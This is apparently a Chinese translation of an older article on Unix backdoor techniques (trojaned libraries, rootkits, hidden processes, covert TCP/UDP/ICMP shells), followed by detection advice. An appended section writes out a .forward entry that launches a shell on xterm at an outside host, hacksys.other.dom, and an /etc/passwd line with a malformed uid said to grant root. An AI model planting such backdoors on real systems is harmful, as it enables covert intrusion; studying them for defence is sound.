库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种
办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过
MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行.
静态连接程序不会使用trojan共享库.
内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广.
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分, 且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.
Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.
隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序(sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门
例子是amod.tar.gz :
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
也可以修改内核隐匿进程.
Rootkit
最流行的后门安装包之一是rootkit. 它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文.
TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的.
UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.
ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.
Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了telnet守护程序. 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Network Traffic backdoors, theyarevery feasible for intruders to install on Windows NT. 此处该如何翻译? :(
解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.
评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.
MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净
系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.
入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.
警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute
for
diligent attention. 此句该如何翻译? :( )
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).
> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).
你也许要增加:
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'
的
.forward可能设置如下:
username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).
>利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail>类程序, 很有可能还有问题 ......)
( 此段的内容理解不深, 故付上英文, 请指教! )
---------------------------------------------------------------------------
你也许能用这个"特性"做后门:
当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误
的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
在Linux里,这将把用户rmartin的uid设为0.
Hack技巧-使用Trogan HorsesUNIX 的特洛伊木马
------------------


